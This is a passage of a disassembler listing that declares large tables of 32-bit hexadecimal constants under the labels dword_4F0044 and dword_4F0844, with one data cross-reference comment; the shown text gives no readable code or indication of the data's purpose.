		dd 58C717D1h, 2912A036h, 0F93B0CF7h, 72975CC8h,	7114D2B5h
		dd 2FAEFD19h, 0E34E1B73h, 584D130Bh, 4A6BC01h, 2F5D316Fh
		dd 0CB4748C9h, 0CAABF66Eh, 0EADF5037h, 360C6BDh, 515097B3h
		dd 0CC90D988h, 428AE4E9h, 5AF8FE04h, 0D888E4D1h, 0CA5D143Ch
		dd 0F206505h, 58A8C225h, 0B6C2335Ch, 0CEF720E1h, 295B9210h
		dd 7CD12CC7h, 42857B0Fh, 13C95BC6h, 0E8BDA0D2h,	0BF9D8DBDh
		dd 57D99A6Eh, 0FEE908B2h, 85402DB6h, 547DF650h,	8758013Eh
		dd 0DAF480C4h, 0F8E9E100h
		dd 0EB14BDF0h, 0CDB98980h, 72946716h, 572E00EEh, 5D1A21BFh
		dd 8C87D5Fh, 0C2AC13B4h, 0BB13AA85h, 0E16E16FEh, 4497A64h
		dd 0B5B450CCh, 0E970F856h, 74E15D1Eh, 9F6D8500h, 0A57EBD5Ch
		dd 4D21DC35h, 44A09D09h, 2A499FD9h, 6F4FD818h, 0C046D9B7h
		dd 1F823C9h, 959B8395h,	0EB213B32h, 370903A7h, 121E1CFDh
		dd 0EEC2B551h, 0E0E5AB0Ah, 0E9B9F40Bh, 0DB69CB7Eh, 1259C12Ch
		dd 7C5C9064h, 61B84349h, 68081CD0h, 0C241141Ch,	41F29568h
		dd 6603AF20h, 0E47FEDE0h, 0EF7D21EAh, 0EA072E4Fh, 69F23BBDh
		dd 7B6ADF2Bh, 26FF007Fh, 0A02D9434h, 257814C2h,	0E250EE65h
		dd 89144597h, 4DB0763Ah, 4A00738Fh, 8B355847h, 0BD7D7271h
		dd 0E9607C79h, 93AF348h, 0A0434205h, 92B880D7h,	21B8621h
		dd 74AFCE81h, 23FF76D1h, 0B863EEC2h, 7297341h, 813E9F0h
		dd 3E750B01h, 62681578h, 0E9095213h, 8C544A54h,	60A6F55Ah
		dd 5CC55EE9h, 0F8C2A32Ch, 8C9A5F67h, 23D9DD41h,	66E24E3Dh
		dd 3CC8BFE5h, 2085B85Ah, 591F6BD7h, 0CC9EE30h, 0A051DA36h
		dd 9938ADD1h, 0FE4898h,	1999578Ch, 6839D129h, 138E4D76h
		dd 0ECBD65D4h, 26EB81C3h, 0E9F13EC3h, 7ECF2C9Ch, 0EEDA044Fh
		dd 0D3BCE90Ch, 5C3C68F1h, 0FC169371h, 27D213ADh, 46A44974h
		dd 4E2FBD02h, 0E9A071FBh, 2B6835CDh, 68A015E9h,	0D1B561CEh
		dd 91EBC01Ch, 0A4A04648h, 1D9E4183h, 9F3294BBh,	55BCB494h
		dd 8EB4C4h, 3E0BBD55h, 9B8E627h, 2CEDD8B6h, 0FDCE8B75h
		dd 8093D807h, 7DE932A9h, 0BBA2940h, 75317BEh, 426707DFh
		dd 3CF0C8E5h, 1C799758h, 2CF6CC49h, 9699EC97h, 3637BB8Fh
		dd 94FC66D5h, 13C7B41Ch, 1B4504E2h, 0D832AFEBh,	6BD54250h
		dd 0D114F983h, 7E7DB36Eh, 0B2175Dh, 390238BFh, 1515236h
		dd 58674468h, 7A41592Ah, 2687EBA1h, 0A066EE28h,	0DFB05053h
		dd 0F4A83425h, 5A801F6Bh, 0FC106B6h, 0D7C6E1FEh, 0E912067Bh
		dd 0E5E2FA5Eh, 0E932084h, 0AF30205h, 12406031h,	29CB0F42h
		dd 0A81CC101h, 61849108h, 3F384A89h, 510045CAh,	0ABB85056h
		dd 6114624Fh, 278EC689h, 4A868D7Dh, 0E9422C2Fh,	13E4AF4Dh
		dd 940E5F5Ah, 0ACA2778Bh, 7CCC68C2h, 912C1CFFh,	500A036Bh
		dd 56207807h, 695ABDC2h, 0E239F509h, 36518003h,	0F8333234h
		dd 0F0060BF6h, 8B7DB149h, 4A145F80h, 33296819h,	0D03A38ABh
		dd 7E5FF1D7h, 58FD5C25h, 8679B7BDh, 2CE95460h, 0FF014F06h
		dd 5A5CBE68h, 2ED0A674h, 1906A55h, 6107ED48h, 0C4E0FAC5h
		dd 4073A8B0h, 887E9EF2h, 7D015A48h, 3805D64Fh, 4882CAFEh
		dd 5B6602BBh, 0EE15A2F5h, 7AFB5D6Bh, 5D3A8E8Bh,	0C25329Ch
		dd 53D376E8h, 82E53BE1h, 57BFBD22h, 0EDAA805Ah,	606C3E88h
		dd 0F420C36h, 4800CCDh,	7A32055Bh, 9291C0E9h, 1961D4B0h
		dd 0C52B6C5Ah, 0CBF2317Dh, 25208B48h, 8DEB8016h, 0D20232B1h
		dd 5CDEF20Ch, 5C0D965Bh, 6C9C6Bh, 14CC0FF8h, 167AE90Bh
		dd 895D5B01h, 8F5C0D59h, 0B48A488h, 0E1025E54h,	5D021B22h
		dd 9B07029h, 0C2E63E3h,	2F41C4F5h, 0A766BF3Ch, 565D3569h
		dd 0DC94089Ah, 0C1E8D101h, 0E32008E0h, 521095B8h, 9F9EBB12h
		dd 0CFBAF6C1h, 4B6CE96Bh, 20E42DBAh, 3FBCE1C4h,	68606780h
		dd 9D434B79h, 591EF464h, 4C132634h, 0FEFCD4EBh,	0FA29E146h
		dd 0A9D35F7Eh, 2DAAD69Bh, 0C7E36E6Dh, 9CEB510h,	2F96685Ah
		dd 90416BE6h, 1224EE78h, 0E82101B3h, 523E503Ah,	5F9EB294h
		dd 0E4D6600Bh, 219198E4h, 606948BBh, 2505CA77h,	3EC846C1h
		dd 650512B9h, 0BAEE913h, 2FBBEA00h, 0BD308F3Ch,	64C6F9A0h
		dd 1C4FB071h, 84189ADh,	0BBC6303Ah, 0ED0417EFh,	22076839h
		dd 0DE2539E3h, 0E05E92E2h, 4B98B965h, 112A2F74h, 4860FBC2h
		dd 17F00CDEh, 0F340A190h, 0FD2B4B68h, 17638469h, 0B505B3E9h
		dd 810BC974h, 0A54A0847h, 5ACF6002h, 0A0F8A630h, 0C914F2B1h
		dd 6681B88Eh, 2D050C29h, 512D0779h, 924FFA50h, 4A048482h
		dd 0F04D74D4h, 636BB3E9h, 0E3A9FD18h, 14D78C2Ah, 9D19B041h
		dd 47AD202Dh, 854911A1h, 503DF011h, 0B0C653C9h,	0E4342CE3h
		dd 92E92E29h, 2B222DE9h, 3FC25755h, 0DB2F055Ch,	3092BE88h
		dd 834337DFh, 0BBF41D2Ah, 520DAD8Eh, 411EAA68h,	22E4F83Bh
		dd 0F79D28E0h, 1A9EBB80h, 0F062BF9Ch, 52960931h, 894AA5FCh
		dd 0BAC48DA3h, 61EF1616h, 30CC8824h, 0E3B23210h, 0CAB4B980h
		dd 25811794h, 5E700C14h, 0E1050020h, 271A8B2Bh,	804622F7h
		dd 0C56C68A1h, 5A66009Eh, 0E828632Ch, 3C62BE68h, 90DD24A9h
		dd 8257796Ah, 5B6531D7h, 8418E63Ah, 3F374CE1h, 518CB14h
		dd 0B1EB2D6Ch, 61D97125h, 56032E6Ah, 818CCEB1h,	839B80Ch
		dd 65357A27h, 885F8843h, 322172AEh, 61859C8h, 26581041h
		dd 8D5B18A6h, 139EB210h, 0ABAAB551h, 9096485Fh,	0B28F024Ah
		dd 56E060CEh, 636B58BEh, 0B77386D2h, 5E92C913h,	8A9841FDh
		dd 33032EA2h, 0F741492Dh, 1F839CD1h, 0EA174EA6h, 0DF2CDD2Dh
		dd 16E3AAF5h, 4AF1FD4Bh, 7172D190h, 0E239482Eh,	6907B104h
		dd 7FDCC06Dh, 2D4F3E21h, 0CA98DBF2h, 652D3B74h,	9C1D84Ch
		dd 14127AA6h, 0C2C2E057h, 574D2761h, 71D3D640h,	754A302Dh
		dd 34086C08h, 0CD14130Ch, 61E30D2h, 1FD27ABFh, 544A7C2h
		dd 0A8D53118h, 0FFA38ABCh, 7A259968h, 25B491A3h, 2BB4BBD2h
		dd 0D8ABDDA7h, 0D9BD88D0h, 31E961EAh, 2E272ACFh, 0EF620E8Dh
		dd 11E11A9Ch, 0E25699C2h, 8BF7452Fh, 0BAFC5C5Fh, 0AD3A54CDh
		dd 0DCDDE5D1h, 0CEBED915h, 70AA14B5h, 4509DE83h, 69FDDC3Ch
		dd 21F4B50Bh, 0E206DE2Dh, 8004CB3Ah, 0B76AF3E1h, 0BC502CF0h
		dd 6329CF16h, 1522A36Ah, 8B67535Eh, 0E3E00F56h,	0EF2FB928h
		dd 0EF6A51F1h, 80EBEB42h, 3A30F3E8h, 0D48619Fh,	3A49B570h
		dd 612F2AB8h, 0E3EB2EA0h, 537BCC05h, 0A04E8F20h, 1F7CE637h
		dd 16547D4Bh, 0F9ACC544h, 0C82E59Eh, 936F7678h,	0EEA18596h
		dd 0EE4EF58Bh, 0B8E9A828h, 0F295C0E9h, 867EE4E3h, 0F1E1E3BFh
		dd 0F376BAEAh, 419AAA7Ah, 162BB6A3h, 36CBBE54h,	62571E13h
		dd 0B5D9681h, 92E55FDFh, 2D6A6C6Bh, 679AB5Bh, 427F2D3Ch
		dd 0EE5FF22h, 2CC8840Ch, 6FE43EBAh, 37BB4000h, 296E77E6h
		dd 0DC2DD6C0h, 0BA4EAE76h, 0FFC381FBh, 3A71D7C6h, 9A874809h
		dd 0D009405Bh, 1C0D4820h, 0FD7FD370h, 60FD4568h, 4E9EBC8Bh
		dd 1E41074Dh, 6DC948ECh, 0E921E34Eh, 46800289h,	2A6B204Eh
		dd 0A2B85003h, 0DA0CA05Eh, 1F87411h, 1915BEBDh,	2EA42A44h
		dd 9892E31Bh, 491E0456h, 80580136h, 0EFCCFBF7h,	810CCFE7h
		dd 93F66EE5h, 0A41ACB6Dh, 5F6E5658h, 0BC441F8Bh, 1D10D5Fh
		dd 97228AD5h, 17DF939Fh, 50A2A004h, 0C41B00Fh, 56F45A7h
		dd 7568D130h, 806EAA64h, 930627A2h, 0FAE9372Fh,	31FA01Dh
		dd 84D24BC7h, 76019CB8h, 5588E2Ah, 708BFD14h, 77B20E74h
		dd 8E11DBBFh, 61300111h, 723561FEh, 80C24560h, 0F74F8746h
		dd 74B28587h, 46AE718Ah, 3B544D3h, 3EA5BA54h, 0A397CBB3h
		dd 1227BEFBh, 0BBB125F4h, 0B1F7C22Eh, 58DE2D20h, 5012734h
		dd 48B763FAh, 83CA6668h, 0AB71D66Ch, 7E260176h,	57C1012Fh
		dd 0E80855BFh, 0B11C8AD9h, 6F188EA5h, 0DF6244FEh, 5E6D8817h
		dd 89E735F6h, 0F620A317h, 660973F7h, 81F56665h,	6931EF58h
		dd 0F03B58D1h, 9A4EE915h, 0C79713F2h, 4B8EE274h, 0F5CB7FE8h
		dd 0C71FF3E6h, 774AD988h
		dd 0F702703Ah, 0C00A276Fh, 97B4BBAh, 0D1213765h, 0C04E6759h
		dd 4E7439E1h, 280B9041h, 95B5A003h, 0F442198Bh,	0B009097Fh
		dd 90F9F6F9h, 89C65E4Fh, 463B608Fh, 0BD4D3740h,	0C19D9551h
		dd 4810394h, 0FB2B1D90h, 0E3AF9994h, 1A0B16F0h,	263A79FBh
		dd 5D764D34h, 9AAD1981h, 0AA93E831h, 2CCAB04h, 0E5D02E71h
		dd 0F58603A1h, 817D6F6h, 0ABED80h, 0E9274B6Fh, 3992B198h
		dd 41DF7FA2h, 47E5A2Fh,	0FFE8E75Ah, 4E9F8AF2h, 0AF16C519h
		dd 0E9162CDBh, 225DBFAEh, 2C183982h, 0C0456240h, 0BD05A7F5h
		dd 80B81CAh, 515D1B00h,	9DA017F0h, 89E32540h, 564ED0Ch
		dd 0FAF8EE35h, 0CB4EB676h, 7808CB71h, 132426C7h, 0EE2A847Ch
		dd 0B7F6922Ch, 0B0DFEA29h, 0B0F021FAh, 296460E5h, 6C5639F5h
		dd 434D1F7Bh, 18483BD6h, 6868CEDDh, 0D9225E41h,	0B18944DEh
		dd 4CF62BCh, 0CC32A3Fh,	0A9CBBEh, 61731779h, 16F2295Eh
		dd 0F3EBEFE9h, 182479F8h, 0D781B09Bh, 5F7B3F5Eh, 13205C20h
		dd 9694676h, 7A0578D6h,	6E16AF4Dh, 40BA4FE0h, 48EEF70Dh
		dd 4A862D0Bh, 898D570Fh, 3F61E404h, 428D2E2Dh, 0BF9D513h
		dd 0F42D7D6Eh, 0F0C2F004h, 1260EE88h, 0E044B22Bh, 6D4A5872h
		dd 0CB4843F6h, 41771C40h, 0C57030CCh, 797009Ah,	4AF45530h
		dd 0B0D12AB0h, 60F10260h, 9EE4EC5h, 0E8012458h,	0EFFD3503h
		dd 2C200BBEh, 2D6716F3h, 239D0032h, 0E91AB569h,	9194092Ch
		dd 6935B069h, 0CDED9FDDh, 29EE0113h, 4DF0A08h, 260B8ABEh
		dd 2A0804ABh, 0B880185Dh, 7BA9172Fh, 6B79F601h,	0D2C6D64Bh
		dd 60C10612h, 0E16F947Dh, 0E0FD1A93h, 0B03CD910h, 0B115E232h
		dd 0A5E9433Dh, 12E2E44Bh, 0CC418368h, 404076B4h, 4B5D5C52h
		dd 7225B707h, 0BA7BD447h, 61BE6812h, 8E221847h,	0C499C699h
		dd 9F8032CCh, 91FEC42h,	0AC57E94Ah, 3726C4DAh, 4F40F7CFh
		dd 5A72455Eh, 28EB809h,	9F4A13CEh, 0B40E173h, 0EFA0E393h
		dd 39C92C40h, 0C0570930h, 2CDC80D2h, 0CA5C89DEh, 1B031005h
		dd 257F5E2Ch, 877D9D8h,	0C104C30h, 0CBA9478Eh, 61C27990h
		dd 0FD68DE39h, 0F504780Ch, 3B0F7FACh, 26FEBE8Bh, 71FE0B7Fh
		dd 0FB01F923h, 0BA3CE49Fh, 5341F199h, 4502C194h, 667E1660h
		dd 314C37EAh, 51571D53h, 9913750Bh, 0F43A4F4Bh,	222CA9ACh
		dd 0FA17958Eh, 117FE04h, 0DB58CA09h, 1AF8C2F8h,	0C2167EB7h
		dd 985F292Eh, 93BA87DCh, 44F6ADD9h, 0FCE9C5E1h,	0E9AD3Eh
		dd 0D444DEBh, 9D66A468h, 7FE6ED98h, 5C982BF8h, 63CC5B5Ch
		dd 3D14CA84h, 670BEF3Dh, 66D548F7h, 0D0E9126Fh,	4B75F48Fh
		dd 5D5401E7h, 6893283Fh, 0FC77462Dh, 0FA405A99h, 7D095636h
		dd 3B3FE957h, 26FF10CFh, 8AB300BBh, 6605E3C0h, 0D8880150h
		dd 0ABE9D0F6h, 406AB6h,	530E681h, 5640049Dh, 0FB5F5E57h
		dd 0F33BB2C9h, 0ECA05BA8h, 68500351h, 47582DC0h, 3130D90h
		dd 1046EE2Dh, 2D035A5h,	0E9BC04C0h, 1AD1AC9Dh, 562CACDh
		dd 68564D02h, 7A900637h, 0D2013A94h, 317BE25h, 0C12ADC44h
		dd 18095DFh, 0A2F67A68h, 1044C8AEh, 88CBEB46h, 2828B88h
		dd 0D512D349h, 64D27C33h, 0D13ECE58h, 0B33578EBh, 44FE4322h
		dd 0B90B602h, 1393C95Ch, 9ED25A0h, 0C472E2F3h, 0D90BC0D4h
		dd 7794FDFFh, 0E14F4198h, 3364B986h, 8026EC3Ch,	6246AA3h
		dd 0D5173CB0h, 81B466BBh, 0DEFA4025h, 54B34165h, 0BFE63E08h
		dd 2588FE28h, 5DE6B007h, 1C511AC9h, 0C9D28DFh, 0EAD101F5h
		dd 11BFE281h, 4301603Ch, 461005F5h, 209C90E4h, 0C4800369h
		dd 6E4C001h, 30E9F4B3h,	94012AE6h, 5AF18803h, 0D454F16Bh
		dd 0C97DFE5Bh, 0C80FC126h, 22187908h, 5B3A26C7h, 467F42BCh
		dd 9C5F5418h, 0A0DF3FE3h, 802AE972h, 0FDF9ABC6h, 7E70E45Bh
		dd 68BCB895h, 0D5CBD67h, 2997F52h, 3E8C895Bh, 0EF64D7F6h
		dd 9DCA0329h, 563D12BCh, 3D876EA4h, 0C11242F2h,	0C8F28303h
		dd 581DC795h, 20AF8A1Fh, 6A745D62h, 2066B924h, 3C3BB008h
		dd 77048F0h, 256C592Dh,	40B15A41h, 2C53260Dh, 0D3BC0550h
		dd 47B97102h, 0D75EF009h, 1F2DCDE0h, 0DB98FE1Dh, 64ECC042h
		dd 28E27DF2h, 0E4908702h, 4EC07F5Ah, 242B5D9Fh,	0B3EE0005h
		dd 0EB811F63h, 0C2F1196h, 81EED208h, 0F37E5808h, 0C6E94EA7h
		dd 0C0F48FF2h, 0D5BAC212h, 4B78E371h, 0A80414FCh, 0C1353968h
		dd 6F9C2FEBh, 9D909FE2h, 8D7EC345h, 80856045h, 624DCC4Fh
		dd 5DBF6926h, 0E2A5CD12h, 3EB20597h, 8209074Bh,	0C9F6AE6Ch
		dd 418C5C51h, 6E283FB3h, 0D043BEC7h, 9B5AC304h,	0E9C8809Eh
		dd 22D5CF3h, 4B66E8D2h,	7811A6A6h, 3AC53192h, 0C1DAA353h
		dd 92713C56h, 92C435D4h, 47F539E7h, 0BA5DE597h,	201F6B40h
		dd 76659ECh, 285FB252h,	0E15A67D4h, 0F88612E4h,	8D6D5F6h
		dd 2883811h, 0AC4F2105h, 17FAF45Eh, 0FE69810Dh,	802E9DC5h
		dd 0E8286403h, 0DD398759h, 0D44B94ECh, 0BC2335FAh, 52E34AEFh
		dd 51A6E85Bh, 853F6020h, 0EB3D693Fh, 0A8587EF8h, 726013C0h
		dd 2A02BEDEh, 80A940C8h, 0E676F383h, 7D555964h,	0B9514661h
		dd 0DEE3E55Eh, 60FB8440h, 206B8E3Fh, 590881CAh,	7BC5E12Eh
		dd 0D5663362h, 66D76C4Ah, 0D2BFDFAEh, 0C7F7F438h, 6A61050Bh
		dd 86B99175h, 0BAE9187Ah, 9033B4Ch, 0ADEE8156h,	57289A25h
		dd 80AF8CAh, 0E8BF0829h, 58DB5C2Dh, 92B59FB1h, 26154043h
		dd 0C37FC00Eh, 3718C40Ah, 53D9292Dh, 0E2BC264Eh, 0E5DD78F5h
		dd 13D709E1h, 68E18E76h, 0E9006DE5h, 15C4EEB5h,	57493EF2h
		dd 0D39D99D8h, 0CE9E37Eh, 0C7583F00h, 851B3042h, 5B8E7D37h
		dd 0E28F90E6h, 0D33D1451h, 0A71C9313h, 0F29734A2h, 61FB935Ch
		dd 3A18A97Ch, 59A41843h, 0C5400E30h, 19A21E29h,	0D56867E9h
		dd 0A12A8BFh, 9EB2C8Fh,	73735ACFh, 6680BF8Bh, 0B1E4A1Ah
		dd 0D8FEF7D8h, 6AB2CB80h, 2C08062Dh, 24CE0EC2h,	0E7254974h
		dd 9B9EFE5Dh, 0FFF95666h, 9428EB04h, 84EAC2C9h,	85FBA6h
		dd 4E398EBBh, 779485B7h, 68101400h, 0E9D1415Dh,	0E19620B7h
		dd 60501D05h, 60B23E2Ah, 5C952277h, 0C026C954h,	2C5021EBh
		dd 4C03A9A7h, 58E9461Dh, 54963BF8h, 0A73A0516h,	72682723h
		dd 0D1E92529h, 5925A8D4h, 0A01AC215h, 4266F95Ch, 0B4B3A01Dh
		dd 77572D5Eh, 0A9C8476h, 573C1F0Bh, 0F368DC01h,	67CD6A46h
		dd 0AA87B805h, 8FD1F625h, 337F7468h, 0BFC5FFE9h, 0C84B7E8Eh
		dd 407D47F1h, 90097773h, 75168942h, 68185C94h, 7FC34DEDh
		dd 7A3081ECh
dword_4F0044	dd 39891EE9h, 0D35588C2h, 0F792D12h, 8CE47769h,	13B27D4Dh
					; DATA XREF: ___:00437A2Co
		dd 0CAAE015Ah, 59957BC8h, 36576B03h, 9BE912CBh,	0E332FADEh
		dd 5F3A4934h, 7FC08A2Ah, 2616E75Fh, 0FE4B13BAh,	0ED815900h
		dd 4DA3A05Ch, 0A348CEB9h, 5F6FC803h, 10CC010Bh,	0C71C6808h
		dd 5D21853Eh, 0D6D794E9h, 270B8F56h, 21F602B8h,	0A34C9D7Ch
		dd 66496B69h, 41F7F6F7h, 75B74098h, 43259713h, 0AC09E85Bh
		dd 9D02222h, 0C598A192h, 0C6E41720h, 0FD79BAAAh, 0A4A0A0B0h
		dd 0B627297Dh, 2DBF5E7Ch, 0E9168AEEh, 0B4F30198h, 3BE0FBCBh
		dd 425CB168h, 567AD931h, 0EFB4B869h, 4E8CCEh, 0A252D853h
		dd 0F6288171h, 0EB0906DCh, 9BC173Dh, 20BBF61Ch,	6F829708h
		dd 41AFD896h, 70504409h, 5B75C48h, 2D135953h, 8AD9DBF5h
		dd 5CC1322Ch, 882D7E68h, 3D21F7D9h, 0D0B476CFh,	2373EC01h
		dd 5015E974h, 87B75C2h,	37005C97h, 0E9BAB353h, 0EB809727h
		dd 8A347705h, 0D0285477h, 5A4F072Dh, 0BE68DD6Dh, 745E633Ah
		dd 51CAEE39h, 0E91C5C3Dh, 0F2011797h, 0B3BD260Ch, 55B625ADh
		dd 0B49758DCh, 24051367h, 3A93EBF4h, 499080BBh,	271BB25Eh
		dd 8B49EEE9h, 711770C3h, 2699114Ch, 24CF34F2h, 64BBCEA2h
		dd 0C5A410F9h, 2B277E07h, 4D79464h, 7132212h, 98CCAF6h
		dd 9058EC57h, 0D0655E2Bh, 5CAE139Bh, 63FC4D7Bh,	6052D3A9h
		dd 7025899Ch, 0B98F8EDh, 113CC066h, 54CF027Fh, 88CEC8CDh
		dd 2D5979CFh, 0D9ECCC72h, 0F34C9FF4h, 1213954Dh, 88BEC98Eh
		dd 564F861Bh, 0B81BB8B3h, 8884835Bh, 0BC418EDDh, 0A93E9165h
		dd 0FDC1E3C8h, 1E63D0AEh, 0F2B72694h, 6076901h,	7B29C702h
		dd 0CA898BD1h, 2794F7DCh, 40817CFBh, 190047B2h,	0CA8168D3h
		dd 0FD9F1B3Ch, 650F4268h, 0F280278Fh, 5E7AF35Ch, 8324FCB7h
		dd 37FC0F5Bh, 5DB3CBF8h, 4341A01Fh, 45AEDC67h, 5A0CACEDh
		dd 68C33FB2h, 8D171EDDh, 77BFEE69h, 7D11B26Dh, 0B502A0E4h
		dd 55ED883Bh, 0F984F558h, 0C164B81Ch, 7E536CC4h, 7BFF806Ah
		dd 43501070h, 3180F6D2h, 0DCD7EFEBh, 44FFF4D4h,	3AA8DE8h
		dd 0DFB4C780h, 8FB6822Bh, 0A42D0046h, 7A4CB363h, 7D581675h
		dd 0BAD7E9A2h, 0A27CC48Dh, 5079BE4Bh, 0E583DC2Ah, 4F5BEF40h
		dd 732CE852h, 54BFB526h, 0EB27F018h, 0F47AE480h, 98849550h
		dd 4A188B95h, 98B08635h, 0C3414AE9h, 6EB24971h,	71CD0957h
		dd 0EB878C62h, 0BB50470Bh, 0C1DF5698h, 1CA630B8h, 0E6F9F766h
		dd 6CB32F68h, 2BE61DFCh, 66FCB739h, 500A5E72h, 0BF156657h
		dd 10365486h, 2047175Bh, 1945BA5Eh, 13E736C7h, 50B74Fh
		dd 1BD961C3h, 122DCF81h, 0BD1A0546h, 0B5E057Bh,	0B0AF07A2h
		dd 1512ECFCh, 87AB09EBh, 2A11A6Fh, 87D4A3C1h, 1EBCD8FCh
		dd 1A477779h, 0CE1B0CE9h, 685125ADh, 3E8887FBh,	307E271Bh
		dd 0A1726B0Bh, 526AC430h, 2A427DDAh, 7C243E76h,	0CD219827h
		dd 0E9DF82D2h, 0B5406522h, 9DB25253h, 5726BC78h, 14288988h
		dd 0EC383A76h, 5BFC0559h, 83AAE128h, 2C1EC9A9h,	0C897BEE9h
		dd 31777C15h, 38BA4A5Ch, 0C1FB846Eh, 3ECDFA03h,	0D0B74232h
		dd 4D82B5C6h, 0F220F834h, 481167C7h, 334DDC5Eh,	7963815Bh
		dd 58E73BC6h, 0EC8A6813h, 53E9C3C7h, 0A7BA84A6h, 0B1E740A7h
		dd 0DEE9F838h, 0A5BBE300h, 0E321C566h, 8481A47Eh, 0DF3E9F14h
		dd 2E027FA4h, 0FEE91F41h, 728654C5h, 0BA19F174h, 62A5F98h
		dd 0CDDFCDFDh, 0A40B6BF0h, 0C0899204h, 18FBC6E4h, 0C755142h
		dd 113EF656h, 480C74DAh, 7A555F38h, 0D70A1777h,	50DDBC21h
		dd 5317FE18h, 0A1EC4833h, 8E0D2Dh, 35298380h, 3F6562Eh
		dd 5955059Dh, 0F779FAECh, 0A83A3A75h, 595CE2EBh, 0F068046Fh
		dd 0B0A6F856h, 97E881E9h, 0BE38859h, 0ED1D02ABh, 6CA9BB2Ch
		dd 6BC97C40h, 0D87C562Dh, 844E571h, 0D663AF81h,	26A3AB05h
		dd 0FE26564Ch, 0B125BB53h, 0E3800D01h, 0FB806A8Bh, 2D281CF3h
		dd 4A735BD8h, 0F1E18649h, 44E704F7h, 0BE48552Dh, 0C00FA542h
		dd 0B9394022h, 0BD719CAFh, 237B7981h, 0F451DEF7h, 4F05703Ch
		dd 0DFD4E963h, 0B9E756D3h, 5B82D599h, 6B3D1DF7h, 786E572Bh
		dd 35E9F683h, 0FF9544BEh, 0FA317AC3h, 1D86815Ah, 0E9C4EC68h
		dd 0F3BE6BF1h, 0E1FEB616h, 591302B2h, 0AE09FD89h, 0F976316Fh
		dd 98590874h, 45470B4Bh, 8C0A5F68h, 7374A558h, 9D5B5450h
		dd 160A4EECh, 0B037330h, 8D6C6249h, 0CE7A0B67h,	3B1B3194h
		dd 2393F301h, 0F02CF450h, 396A5A18h, 120D3028h,	14E5FDEh
		dd 48681B6Eh, 186B6599h, 0CF4446DCh, 0A69002C6h, 0F0316E87h
		dd 0A2683FB8h, 0D3D05258h, 0B84F7F0h, 0D9E90F6Dh, 0E856BF42h
		dd 86528F4Eh, 78BDCC9Ah, 0A7260FC1h, 64854107h,	3900F920h
		dd 0A7CB0E7h, 0F4F874C7h, 251A9831h, 0B1E56025h, 5ECBE00h
		dd 25E90A0Dh, 65E90E7Fh, 0F07ECDF5h, 0F8FB015Dh, 0C7BF3CADh
		dd 8BAA8901h, 0E480AD44h, 4B13354Ch, 1402BA49h,	4129BB1Bh
		dd 0DFC64220h, 0EA0563D8h, 2FEEB2F7h, 0E91F88AFh, 5E13024Ah
		dd 16BFDEEEh, 94824AE9h, 0EFCC775Fh, 87BED9Fh, 5C12B771h
		dd 27F7CE08h, 9D61FC68h, 5835C37Ch, 18C056B7h, 7FE7782Dh
		dd 5F01FA1Ch, 9858B454h, 83EAA92h, 757097C5h, 84029793h
		dd 0EA4A6FF7h, 6583EE35h, 0D3174C9h, 19F770BBh,	39A88A0Ch
		dd 3502CB76h, 5D5D5B6Ch, 2B86288h, 0A2E441A9h, 0D20A8E75h
		dd 74096BE8h, 935834EBh, 350248B5h, 0C661C096h,	651C01D9h
		dd 5F01D098h, 0E999FAA9h, 0A33C0992h, 937EED92h, 9B3DB4A6h
		dd 0D2123CCFh, 2B9EC9BAh, 4907F253h, 2855B8F4h,	9510EEBCh
		dd 0F85F27D1h, 8899BC0Bh, 0E905729Fh, 0A262DE59h, 30F91B2Ch
		dd 0C577804Bh, 313E64A5h, 64CD5829h, 0B6433A2Fh, 7BB674A9h
		dd 3A7473E3h, 0BFF8F352h, 827FE382h, 25FE5604h,	0E19D8260h
		dd 300E5C06h, 0F76BA796h, 4A262576h, 0C70700ABh, 0C07DD03Ch
		dd 80FB204h, 9EBB928Bh,	28BE4EDEh, 0F35C31BBh, 5ABE8989h
		dd 79EE7A7Bh, 160A5F51h, 3C92EB17h, 0D06E8206h,	36A585Ah
		dd 53486635h, 0ECAAE93Dh, 24CBE657h, 504A2270h,	7E4A6855h
		dd 0A0D0B2E8h, 81729024h, 17764B8h, 7D17E816h, 8C0BD99Bh
		dd 85A8FB41h, 57211768h, 0CC89BE13h, 36C042Ah, 5FEC1226h
		dd 88BC12Dh, 8668175h, 51395A5Fh, 6825D8CCh, 561E1B4Eh
		dd 0E8758489h, 0C95AA5BCh, 9368AC7Dh, 0CC9D3BDDh, 4F5FF426h
		dd 9F6332BDh, 295AEF50h, 3F063FECh, 0C359459h, 0BB205404h
		dd 0B1AE5F42h, 3C915CFBh, 0CD0E06A2h, 3F8DA137h, 905262Ch
		dd 0B30A7642h, 0D82289F5h, 30E660EFh, 212DC8B8h, 0D5852E50h
		dd 0F29E4A96h, 0DF119A4Bh, 7025B760h, 0C1947B60h, 0D02E0h
		dd 62836AE6h, 0B4BECE2Dh, 1121D0A0h, 98665BFh, 71516AC0h
		dd 5F942D3Ch, 0A32DAB10h, 2CEB3C18h, 31303568h,	0F8D40B33h
		dd 45389234h, 0B1012EAh, 0C755FB9Bh, 0A768051Dh, 0AC28BA5Bh
		dd 91292BEh, 0A85AE5BFh, 82F8BC04h, 0F490C2F9h,	8C56C8E9h
		dd 0BF49605Dh, 4C082975h, 8304866Dh, 0A0638F6Ah, 0E9124626h
		dd 3DBB36B4h, 1A12F1Eh,	0E935E03Eh, 972A68FEh, 8C328B4Eh
		dd 5D5BB9C3h, 9C890759h, 55733010h, 0D6F780C8h,	4B6A54BFh
		dd 0C609A0F5h, 5FE09C2Dh, 0B361C0EDh, 1217611Eh, 0F0B1F6E9h
		dd 0C46EA26Eh, 9CFBC330h, 0B45B1F00h, 1167FF6h,	0D2ECD6h
		dd 68A13A77h, 0C54AB6E9h, 0CC64DBBBh, 0CDFD501Ch, 0DD753AF3h
		dd 9B4BA321h, 1AD7412Eh
dword_4F0844	dd 6FC328D9h, 20BC3AC4h, 25723C58h, 0F2D6A74Bh,	1C02CC26h
		dd 7847126Ch, 0E95E0BDAh, 347F3376h, 49C09FE0h,	0B4B3BBh
		dd 0CC268C1h, 0C3CDBA68h, 0F3AD6E8Fh, 47CB2A7Ah, 0B7530598h
		dd 0ABF930D6h, 0B22C5D61h, 27E9EEC8h, 4548A2ECh, 0CB0760CDh
		dd 0FFC78376h, 579879E2h, 11E40F6Eh, 0B34500BCh, 0B0BCEAFh
		dd 0F5F9874Fh, 0F2800DE8h, 0EA0CB573h, 1AD02815h, 54399536h
		dd 29D94C52h, 0F5A38BB7h, 0E9055FC5h, 29AAF65Bh, 69CA6E78h
